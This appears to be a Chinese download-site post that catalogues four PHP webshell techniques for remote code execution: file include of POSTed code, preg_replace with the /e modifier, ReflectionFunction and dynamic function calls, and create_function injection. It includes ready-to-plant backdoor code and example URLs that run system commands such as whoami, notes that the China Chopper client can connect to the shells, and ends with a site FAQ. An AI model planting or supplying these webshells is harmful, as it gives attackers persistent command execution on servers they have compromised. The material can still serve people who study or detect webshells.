1、include函数
实现思路:将POST过来的参数写入到一个文本里,再去包含文本实现代码执行
<?php
@$pwd=$_POST['pwd'];
$include_file='code.txt';
if(isset($pwd)){
file_put_contents($include_file,'<?php '.$pwd);
include $include_file;
unlink($include_file);
}
?>
也可以使用菜刀连接
2、preg_replace函数
实现思路:使用/e修饰符实现代码执行
<?php
@preg_replace("//e",$_POST['pwd'],"luck");
?>
3、ReflectionFunction & 动态函数
<?php
$func = new ReflectionFunction($_GET['func_name']);
$func->invokeArgs($_GET['args']);
?>
http://127.0.0.1/code_exec.php?func_name=system&args[0]=whoami
动态函数
<?php
$_GET['function']($_GET['args']);
?>
example:
http://127.0.0.1/code_exec.php?function=system&args=whoami
4、create_function
<?php
$code=$_GET['code'];
$str2=";}{$code};/*";
echo $str2.'<hr>';
$f1 = create_function('$a',$str2);
?>
也可以直接用菜刀连接
原理:
function name($a){
;}system("whoami");/*
}
这样看得一目了然
function name($a){
;}
system("whoami");/*}
常见问题FAQ
- 【点击查看】免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 【点击查看】提示下载完但解压或打开不了?
- 【点击查看】开通终身至尊下载源码 “不完整” 或 “不能用” 怎么办?
- 【点击查看】开通终身会员能下载全站资源码?